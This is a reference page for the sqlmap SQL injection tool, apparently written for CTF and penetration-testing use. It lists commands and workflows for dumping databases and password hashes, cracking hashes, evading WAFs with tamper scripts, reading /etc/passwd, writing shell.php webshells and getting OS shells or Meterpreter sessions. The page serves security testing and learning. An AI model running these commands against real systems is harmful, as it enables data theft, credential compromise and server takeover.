ᛉ Yggdrasil

Tool references

sqlmap Wiki

17 Sep 2026 · 4,122 words · 19 min

Contents

Author: Bernardo Damele, Miroslav Stampar Repo: https://github.com/sqlmapproject/sqlmap Description: Automatic SQL injection detection and database takeover tool Current Version: 1.10.7 (2026, monthly release cadence) License: GPLv2 Docs: https://github.com/sqlmapproject/sqlmap/wiki

Overview

sqlmap is the standard automated SQL injection tool: given a URL, request, or crawl target, it detects injectable parameters, identifies the underlying DBMS, and — once confirmed — automates everything from data extraction to full operating-system access on the database server. It supports essentially every major DBMS (MySQL, PostgreSQL, MSSQL, Oracle, SQLite, and many more) and every major blind/non-blind injection technique.

For an operator, sqlmap is rarely the tool that finds the first hint of SQLi — that's usually manual testing, Burp, or a fuzzer — but it's almost always the tool that turns a confirmed injection point into full enumeration and, where possible, code execution.

Key capabilities:

  • Detects and exploits boolean-blind, error-based, UNION-based, stacked-queries, and time-blind SQL injection, plus out-of-band (DNS/HTTP) channels
  • Full DBMS fingerprinting and enumeration: databases, tables, columns, users, password hashes, privileges, roles
  • Automated password hash cracking (dictionary-based) for extracted hashes
  • OS-level access on the DB server: --os-shell, --os-cmd, --os-pwn (Metasploit integration), file read/write
  • Direct database connection support (bypassing HTTP entirely) for DBMS credentials obtained elsewhere
  • 60+ tamper scripts for WAF/IDS/filter evasion, chainable and user-extensible
  • Ingests requests from raw HTTP request files, Burp Suite logs, HAR files, or a built-in crawler
  • REST API server mode (sqlmapapi.py) for programmatic/automation integration
  • Session persistence — resumes interrupted scans, caches confirmed injection points

Note: sqlmap ships roughly monthly stable releases via PyPI/git tag, with the git master branch updated far more frequently. The version bundled in Kali (apt install sqlmap) commonly trails the latest PyPI/GitHub release by a version or two — if a technique or tamper script referenced online doesn't exist in your Kali install, git clone --depth 1 gets you current.

Installation

# Kali / Debian / Ubuntu (may trail latest release)
sudo apt install sqlmap

# pip — latest monthly tagged release
pip install sqlmap

# From source — latest, updated far more frequently than tagged releases
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
python3 sqlmap.py --version

# Self-update (if installed via git or the bundled updater)
python3 sqlmap.py --update
Requirement Detail
Python Works out of the box on Python 2.7 and 3.x; modern installs should just use python3
Dependencies None beyond the standard library for core functionality — this is deliberate, keeps it portable
Root Not required for HTTP-based attacks; may be needed for certain OOB/ICMP-based techniques

Architecture & Detection Flow

sqlmap's core loop, from a raw target to full exploitation, follows a consistent order. Understanding this explains why certain flags (--technique, --dbms, --skip-static) narrow or skip specific stages.

┌───────────────────────┐
│ 1. Target Definition  │  -u URL / -r request file / --data / -l log / --crawl
└──────────┬────────────┘
           ▼
┌───────────────────────┐
│ 2. Parameter          │  Identify injectable points: GET/POST params,
│    Discovery          │  headers, cookies, JSON/XML bodies (--data, --headers)
└──────────┬────────────┘
           ▼
┌───────────────────────┐
│ 3. Heuristic &        │  Quick DBMS-error-based heuristic check,
│    Payload Testing    │  then full technique-by-technique payload testing
│    (--level/--risk)   │  (boolean/error/union/stacked/time/OOB)
└──────────┬────────────┘
           ▼
┌───────────────────────┐
│ 4. Confirmation &     │  Confirmed technique + injection point cached
│    DBMS Fingerprint   │  to session file (avoids re-testing on resume)
└──────────┬────────────┘
           ▼
┌───────────────────────┐
│ 5. Enumeration        │  --dbs / --tables / --columns / --dump / --users etc
│    (on-demand)        │  Each run re-uses the confirmed injection point
└──────────┬────────────┘
           ▼
┌───────────────────────┐
│ 6. Takeover           │  --os-shell / --os-cmd / --file-read / --file-write /
│    (on-demand)        │  --sql-shell — requires stacked queries or specific
│                       │  DBMS features (e.g. MySQL FILE priv, xp_cmdshell)
└───────────────────────┘

Tip: sqlmap caches the confirmed injection technique and DBMS fingerprint in a session file per target. Once a target is confirmed injectable, subsequent runs (--dump, --os-shell, etc.) against the same URL are much faster because sqlmap skips re-running the full detection phase — unless you pass --flush-session.

Target Specification

sqlmap -u "http://target.com/item.php?id=1"          # GET parameter
sqlmap -u "http://target.com/login.php" --data="user=a&pass=b"   # POST body
sqlmap -r request.txt                                  # raw HTTP request file (from Burp "Copy to file")
sqlmap -l burp_log.txt                                  # parse a Burp/proxy log for targets
sqlmap -m targets.txt                                    # bulk scan — multiple targets from file
sqlmap -u "http://target.com/api" --data='{"id":1}' --headers="Content-Type: application/json"
sqlmap --wizard                                          # guided interactive mode for beginners
Flag Purpose
-u / --url Single target URL
-r <file> Load a raw HTTP request (headers, body, cookies included) — the most reliable way to hand sqlmap an authenticated request
-l <file> Parse targets from a Burp/WebScarab-style proxy log
-m <file> Multiple targets, one per line, scanned sequentially
-x <sitemap> Parse targets from a sitemap XML
-g <dork> Process Google dork results as targets
--data Send data as POST
--param-del Custom separator for parameter values

Tip: -r request.txt from a Burp "Copy to file" (Ctrl+Shift+C on a request) is the most dependable way to get authenticated, header-accurate requests into sqlmap — far less error-prone than reconstructing cookies/headers manually with flags.

SQL Injection Techniques

sqlmap tests for and can exploit six technique families, selectable individually with --technique.

sqlmap -u "http://target.com/item.php?id=1" --technique=B    # Boolean-based blind only
sqlmap -u "..." --technique=E                                 # Error-based only
sqlmap -u "..." --technique=U                                 # UNION query-based only
sqlmap -u "..." --technique=S                                 # Stacked queries only
sqlmap -u "..." --technique=T                                 # Time-based blind only
sqlmap -u "..." --technique=Q                                 # Inline queries
sqlmap -u "..." --technique=BEUSTQ                             # all (default)
Code Technique How it works
B Boolean-based blind Injects conditions, distinguishes true/false by page content differences
E Error-based Forces DB errors that leak data directly in the error message
U UNION query-based Appends UNION SELECT to pull data into the visible response
S Stacked queries Executes a second, arbitrary statement via ; — enables INSERT/UPDATE/OS takeover
T Time-based blind Infers true/false from response delay (SLEEP/WAITFOR), no visible difference needed
Q Inline queries Injects as a subquery within the original query — niche, DBMS-dependent

Tip: Time-based blind (T) is the slowest but most universal technique — it works even when the response is byte-for-byte identical regardless of the injected condition, at the cost of one HTTP request per bit of data inferred. If a scan seems to hang, it's very likely running time-based payloads; check with -v 3 before assuming it's stuck.

Detection & Request Tuning

sqlmap -u "..." --level=5 --risk=3       # maximum thoroughness (see table below)
sqlmap -u "..." -p id                     # test only the named parameter
sqlmap -u "..." --skip=user_token         # exclude a parameter from testing
sqlmap -u "..." --dbms=mysql              # skip fingerprinting, assume DBMS (much faster)
sqlmap -u "..." --os=linux                # assume target OS
sqlmap -u "..." --prefix="' AND " --suffix=" AND '1'='1"   # manual payload wrapping
sqlmap -u "..." --code=200                # match this HTTP code as "true" for boolean-blind
sqlmap -u "..." --string="Welcome"        # match this string as "true"
sqlmap -u "..." --not-string="Error"      # match absence of this string as "true"
sqlmap -u "..." --regexp="^Wel"           # regex-based true/false match
sqlmap -u "..." --titles                  # compare page titles for true/false
Level/Risk What it controls
--level (1-5) How many payloads are tried, including testing cookies/headers/UA at higher levels (5 tests everything)
--risk (1-3) How aggressive/potentially-destructive payloads are — risk 3 includes OR-based payloads that can affect all rows on UPDATE/DELETE, use carefully

Tip: --level=5 --risk=3 finds the most injection points but is dramatically slower and, at risk 3, can run genuinely destructive payloads against a fragile app. For CTF boxes where you already suspect a specific parameter, -p <param> --level=3 is a much faster middle ground than blasting max settings against the whole request.

Enumeration

sqlmap -u "..." --banner            # DB version banner
sqlmap -u "..." --current-user      # current DB user
sqlmap -u "..." --current-db        # current database name
sqlmap -u "..." --hostname          # DB server hostname
sqlmap -u "..." --is-dba            # is current user a DBA/superuser?

Databases, Tables, Columns

sqlmap -u "..." --dbs                                    # list all databases
sqlmap -u "..." -D dbname --tables                        # list tables in a database
sqlmap -u "..." -D dbname -T users --columns               # list columns in a table
sqlmap -u "..." --search -T user                            # search for table names matching "user"
sqlmap -u "..." --search -C password                        # search for column names matching "password"

Dumping Data

sqlmap -u "..." -D dbname -T users --dump                        # dump full table
sqlmap -u "..." -D dbname -T users -C username,password --dump    # dump specific columns
sqlmap -u "..." -D dbname -T users --dump --where="id>5"           # conditional dump
sqlmap -u "..." -D dbname -T users --dump --start=1 --stop=100      # row range
sqlmap -u "..." --dump-all                                          # dump everything, every DB — slow, noisy
sqlmap -u "..." -D dbname -T users --dump --exclude-sysdbs            # skip system DBs on --dump-all-style runs
sqlmap -u "..." --sql-query="SELECT password FROM users WHERE id=1"    # arbitrary query
sqlmap -u "..." --sql-shell                                          # interactive SQL shell
Flag Purpose
-D Target database
-T Target table
-C Target column(s), comma-separated
--dump Dump the specified table/columns
--dump-all Dump every database and table found — use sparingly, very slow and very loud
--where SQL-like filter on dumped rows
--start / --stop Row range
--sql-query Run one arbitrary query and print results
--sql-shell Drop into an interactive SQL prompt over the injection

Users, Privileges, Roles, Passwords

sqlmap -u "..." --users                    # list DB users
sqlmap -u "..." --passwords                 # dump password hashes
sqlmap -u "..." --passwords --dbms=mysql     # hints DBMS-specific hash format
sqlmap -u "..." --privileges                 # list privileges
sqlmap -u "..." --roles                      # list roles (DBMS-dependent, e.g. Oracle)
sqlmap -u "..." --passwords --dict=/usr/share/wordlists/rockyou.txt   # attempt to crack dumped hashes

Tip: --passwords automatically triggers sqlmap's built-in dictionary cracker against common wordlists if hashes are in a recognized format — pointing --dict at rockyou.txt on a CTF box is often enough to crack weak lab passwords in the same run that dumps them.

Database Takeover (OS Access)

os-shell / os-cmd

sqlmap -u "..." --os-shell     # interactive OS shell — requires stacked queries or specific DBMS write features
sqlmap -u "..." --os-cmd="whoami"    # single OS command
sqlmap -u "..." --os-pwn              # Metasploit integration — full Meterpreter session

--os-shell works by writing a webshell (PHP/ASP/ASPX/JSP, auto-detected or specified) to a web-accessible directory via the DB's file-write capability (INTO OUTFILE on MySQL, xp_cmdshell/sp_OACreate on MSSQL, etc.), then interacting with it over HTTP. This requires:

  • Stacked queries support (or a DBMS feature that allows command execution directly, like MSSQL xp_cmdshell)
  • The DB service account having file-write privileges
  • A knowable, web-accessible path to write into
sqlmap -u "..." --os-shell --web-root="/var/www/html"     # specify web root if auto-detect fails
sqlmap -u "..." --os-shell --tmp-path="C:/Windows/Temp"    # specify writable tmp path (Windows/MSSQL)

Reading/Writing Files

sqlmap -u "..." --file-read="/etc/passwd"                   # read a file off the DB server filesystem
sqlmap -u "..." --file-write="shell.php" --file-dest="/var/www/html/shell.php"   # write a file

Out-of-Band (OOB) Takeover

sqlmap -u "..." --os-pwn --msf-path=/usr/share/metasploit-framework   # full Meterpreter via Metasploit integration
sqlmap -u "..." --os-smbrelay                                          # SMB relay-based takeover (legacy technique)

Tip: MSSQL's xp_cmdshell path is the single most reliable OS-takeover route in CTF boxes running SQL Server — sqlmap enables it automatically via --os-shell/--os-cmd if the current DB user has sysadmin rights, since xp_cmdshell is disabled by default but re-enabling it is one sp_configure call away for a sysadmin-privileged injection.

Authentication, Sessions & Headers

sqlmap -u "..." --cookie="PHPSESSID=abc123; auth=xyz"
sqlmap -u "..." --auth-type=Basic --auth-cred="user:pass"
sqlmap -u "..." --headers="X-Forwarded-For: 127.0.0.1\nX-Custom: value"
sqlmap -u "..." --user-agent="Mozilla/5.0 custom"
sqlmap -u "..." --random-agent                    # rotate a random real-world UA per request
sqlmap -u "..." --referer="http://target.com/"
sqlmap -u "..." --proxy="http://127.0.0.1:8080"    # route through Burp
sqlmap -u "..." --csrf-token="csrf_token" --csrf-url="http://target.com/form"   # auto-fetch and inject CSRF token
sqlmap -u "..." --force-ssl                        # force HTTPS even if URL given as HTTP
Flag Purpose
--cookie Set cookie header — needed for any auth'd endpoint
--auth-type / --auth-cred HTTP Basic/Digest/NTLM auth
--proxy Route all traffic through a proxy — invaluable for watching sqlmap's actual requests in Burp
--csrf-token Auto-extract and re-inject a CSRF token on each request, since a stale token breaks injection testing on protected forms
--random-agent Rotate UA strings — mild evasion against naive UA-based filtering

Tip: Route sqlmap through Burp with --proxy="http://127.0.0.1:8080" during initial testing on unfamiliar targets. Watching the actual request/response traffic in Burp's HTTP history makes it far easier to understand why a technique is or isn't triggering, versus reading sqlmap's own (sometimes terse) console output.

WAF / IDS / Filter Evasion (Tamper Scripts)

Tamper scripts rewrite payloads on the fly to slip past input filters and WAFs — they live in sqlmap/tamper/ and are chainable with commas.

sqlmap -u "..." --tamper=space2comment                    # replace spaces with /**/ comments
sqlmap -u "..." --tamper=between                          # replace >,< with NOT BETWEEN/BETWEEN
sqlmap -u "..." --tamper=charencode                        # URL-encode payload characters
sqlmap -u "..." --tamper=randomcase                        # randomize keyword casing (SeLeCt)
sqlmap -u "..." --tamper=space2comment,charencode,randomcase   # chain multiple
sqlmap --list-tampers                                        # list all available tamper scripts
sqlmap -u "..." --identify-waf                              # detect known WAF/IPS signatures on target
sqlmap -u "..." --tamper=space2comment --random-agent --delay=1   # combine tamper + basic rate/UA evasion
Common tamper Effect
space2comment Spaces → /**/
space2plus Spaces → +
between >/< → NOT BETWEEN 0 AND #/BETWEEN 0 AND #
randomcase Randomizes keyword case to dodge case-sensitive filters
charencode URL-encodes characters
equaltolike = → LIKE
unionalltounion UNION ALL SELECT → UNION SELECT
apostrophemask Replaces ' with UTF-8 fullwidth equivalent
base64encode Base64-encodes the payload (needs server-side support to matter)

Tip: --identify-waf runs sqlmap's WAF fingerprinting checks before the main scan, which is worth doing on any unfamiliar target — knowing you're behind a specific WAF (Cloudflare, ModSecurity, Akamai, etc.) narrows which tamper scripts are actually worth trying instead of guessing.

Request Sources: Burp, HAR, cURL, Crawling

sqlmap -r request.txt                       # raw HTTP request file, e.g. from Burp
sqlmap --har=capture.har                     # import a HAR file (browser dev tools export)
sqlmap -u "..." --crawl=3                    # crawl target 3 levels deep for injectable forms/links
sqlmap -u "..." --crawl=2 --crawl-exclude="logout"   # exclude URLs matching a pattern while crawling
sqlmap -u "..." --forms                       # parse and test HTML forms found on the target page

To convert a copied cURL command (common when pulling a request straight from browser dev tools) into a sqlmap request file:

# Paste the curl command into a file, then:
sqlmap --curl-file=curl_command.txt

Tip: --forms combined with --crawl is a fast way to sweep an entire small web app for injectable points in one command during a CTF, but it's noisy and non-targeted — once you've narrowed to a specific vulnerable form, drop back to -r request.txt -p <param> for faster, quieter, more controlled testing.

Performance & Risk/Level Tuning

sqlmap -u "..." --threads=10               # parallel requests during enumeration (not detection)
sqlmap -u "..." --delay=1                   # delay in seconds between requests
sqlmap -u "..." --timeout=30                # request timeout
sqlmap -u "..." --retries=3                 # retry count on failed requests
sqlmap -u "..." --time-sec=5                # base delay for time-based blind payloads (default 5s)
sqlmap -u "..." --keep-alive                # reuse persistent HTTP connections — faster
sqlmap -u "..." --null-connection            # use content-length to infer response without full body transfer
sqlmap -u "..." --predict-output             # optimize guesses for common data patterns (usernames, etc)
Flag Purpose
--threads <n> Concurrency during data extraction — big speedup on large dumps
--time-sec <n> Tune the sleep duration for time-based techniques — raise on a laggy/loaded target to avoid false negatives
--null-connection Skips downloading the full response body when only length matters — meaningful speedup on large pages
--delay Throttle — useful against rate-limited or fragile targets

Tip: On a slow or heavily loaded CTF box, --time-sec defaulting to 5 seconds can produce false negatives for time-based blind detection if the server's baseline response time is already inconsistent. Bumping to --time-sec=10 or higher trades speed for reliability when time-based is the only viable technique.

sqlmap API (REST Server Mode)

sqlmap ships a REST API server (sqlmapapi.py) for driving scans programmatically — useful for integrating into custom tooling or CI-style automation.

# Start the API server
python3 sqlmapapi.py -s

# Start a new scan task (returns a taskid)
curl http://127.0.0.1:8775/task/new

# Set options for the task
curl -H "Content-Type: application/json" -X POST \
  -d '{"url":"http://target.com/item.php?id=1"}' \
  http://127.0.0.1:8775/option/<taskid>/set

# Start the scan
curl http://127.0.0.1:8775/scan/<taskid>/start

# Poll status
curl http://127.0.0.1:8775/scan/<taskid>/status

# Retrieve data/results
curl http://127.0.0.1:8775/scan/<taskid>/data

Note: The API server binds to localhost by default and has no built-in authentication beyond the per-task ID — never expose sqlmapapi.py on a network-reachable interface without putting real access control in front of it.

Output, Sessions & Resuming

sqlmap -u "..." -v 3                          # verbosity 0-6, 3 shows payloads being tried
sqlmap -u "..." --output-dir=/path/to/out       # custom output directory
sqlmap -u "..." --flush-session                 # discard cached session data, re-detect from scratch
sqlmap -u "..." --fresh-queries                 # ignore cached enumerated data, re-query
sqlmap -u "..." --batch                         # never prompt — accept all sqlmap defaults automatically
sqlmap -u "..." --answers="quit=N,follow=Y"      # pre-set specific prompt answers

Session data (confirmed technique, DBMS, injection point, cached results) is stored per-target under ~/.local/share/sqlmap/output/<hostname>/session.sqlite by default. This is what makes repeat runs against the same confirmed target fast.

Flag Purpose
-v <0-6> Verbosity — 3 is the sweet spot for watching what's actually being tried without full payload noise
--batch Non-interactive — essential for scripting sqlmap into a larger automation chain
--flush-session Forces full re-detection, useful if a WAF/app change makes cached results stale or wrong
--output-dir Where logs, dumps, and session data are written

OPSEC Notes (Detection & Logging)

  • sqlmap's default requests are extremely recognizable — default User-Agent string, characteristic payload structure, and very high request volume at higher --level/--risk settings. WAFs and even basic log review will flag sqlmap traffic quickly without any evasion applied.
  • Time-based blind techniques generate the most requests of any technique family since each bit of data requires a full round trip — this is both the slowest and the loudest technique in terms of raw request count, even though each individual request looks unremarkable.
  • --os-shell/--os-cmd writes a webshell to disk on the target — this is a highly visible artifact for any file-integrity monitoring or EDR on the DB server, and leaves a persistent backdoor if not cleaned up. Always remove it after the engagement, and be aware some CTF/engagement rules require immediate cleanup.
  • --random-agent and tamper scripts provide only mild evasion against naive WAF rules — they do essentially nothing against behavioral/rate-based detection, which cares about request volume and pattern, not payload encoding.
  • --dump-all against a target with many databases generates enormous, very loud traffic and can run for a long time — rarely appropriate outside of a CTF box where you're explicitly told to find "the flag" and don't yet know where it lives.
  • --random-agent + --delay together are the minimum reasonable default for anything beyond a lab/CTF box, to avoid an obvious burst-traffic signature.

Note: In CTF/lab contexts, default aggressive settings (--batch --level=5 --risk=3) are standard practice since detection doesn't matter. On an actual red team engagement, always confirm scan aggressiveness and any webshell-cleanup requirements against the rules of engagement before running --os-shell or --dump-all against a live target.

Common Attack Workflows

Workflow: CTF Web Box — From Suspected Parameter to Flag

# 1. Confirm injection exists on a suspected parameter
sqlmap -u "http://10.10.10.5/item.php?id=1" -p id --batch

# 2. Once confirmed, enumerate databases
sqlmap -u "http://10.10.10.5/item.php?id=1" -p id --batch --dbs

# 3. Enumerate tables in the interesting DB
sqlmap -u "http://10.10.10.5/item.php?id=1" -p id --batch -D webapp --tables

# 4. Dump the likely-relevant table (users, flags, admin, etc)
sqlmap -u "http://10.10.10.5/item.php?id=1" -p id --batch -D webapp -T users --dump

# 5. If stacked queries are supported, attempt OS shell for further access
sqlmap -u "http://10.10.10.5/item.php?id=1" -p id --batch --os-shell

Workflow: Authenticated Endpoint via Burp Request File

# 1. In Burp, right-click the request -> Copy to file -> save as request.txt

# 2. Run sqlmap against the saved raw request (headers/cookies included automatically)
sqlmap -r request.txt -p search --batch --level=3 --risk=2

# 3. Once confirmed, proceed with enumeration exactly as above, no need to re-supply auth
sqlmap -r request.txt -p search --batch --current-db --current-user

Workflow: WAF-Protected Target

# 1. Identify what's in front of the target
sqlmap -u "http://target.com/item.php?id=1" --identify-waf

# 2. Try a conservative tamper chain first
sqlmap -u "http://target.com/item.php?id=1" -p id \
  --tamper=space2comment,randomcase --random-agent --delay=1 --batch

# 3. Escalate tamper chain / level if still undetected, watching traffic in Burp
sqlmap -u "http://target.com/item.php?id=1" -p id \
  --tamper=space2comment,between,charencode,randomcase \
  --random-agent --delay=2 --level=3 --batch --proxy="http://127.0.0.1:8080"

Workflow: MSSQL Target — Straight to OS Command Execution

# 1. Confirm injection + fingerprint DBMS
sqlmap -u "http://target.com/report.aspx?id=1" -p id --batch --dbms=mssql --banner

# 2. Confirm current user is sysadmin (needed for xp_cmdshell)
sqlmap -u "http://target.com/report.aspx?id=1" -p id --batch --is-dba

# 3. Go straight for OS command execution
sqlmap -u "http://target.com/report.aspx?id=1" -p id --batch --os-shell

Cheatsheet

Quick-reference for the most common operator tasks. Replace URLs/params/DBs as needed.

Basic Detection

sqlmap -u "URL" -p param --batch
sqlmap -r request.txt --batch
sqlmap -u "URL" --data="a=1&b=2" --batch

Techniques

--technique=B    # boolean-blind
--technique=E    # error-based
--technique=U    # UNION-based
--technique=S    # stacked queries
--technique=T    # time-blind

Enumeration

sqlmap -u "URL" --dbs
sqlmap -u "URL" -D db --tables
sqlmap -u "URL" -D db -T table --columns
sqlmap -u "URL" -D db -T table --dump
sqlmap -u "URL" --current-user --current-db --is-dba
sqlmap -u "URL" --passwords --dict=rockyou.txt

Takeover

sqlmap -u "URL" --os-shell
sqlmap -u "URL" --os-cmd="whoami"
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
sqlmap -u "URL" --sql-shell

Tuning

--level=1-5      # payload thoroughness
--risk=1-3       # payload aggressiveness
--dbms=mysql     # skip fingerprint, assume DBMS
--threads=10     # parallel dump requests
--time-sec=10    # slower time-blind delay for laggy targets

Evasion

--tamper=space2comment,randomcase
--random-agent
--delay=1
--identify-waf

Auth / Session

--cookie="PHPSESSID=..."
--headers="X-Custom: val"
--proxy="http://127.0.0.1:8080"
--csrf-token=token_name --csrf-url="URL"

Session Control

--batch              # never prompt
--flush-session       # force re-detect
-v 3                  # useful verbosity level
--output-dir=path     # custom output location

Input Sources

sqlmap -r request.txt          # Burp "Copy to file"
sqlmap --har=capture.har        # browser HAR export
sqlmap -u "URL" --crawl=2 --forms   # crawl + test forms

References

  • Official repo: https://github.com/sqlmapproject/sqlmap
  • Wiki / usage manual: https://github.com/sqlmapproject/sqlmap/wiki/Usage
  • Techniques reference: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
  • Tamper scripts source: https://github.com/sqlmapproject/sqlmap/tree/master/tamper
  • REST API docs: https://github.com/sqlmapproject/sqlmap/wiki/REST-API

← Tool references top ↑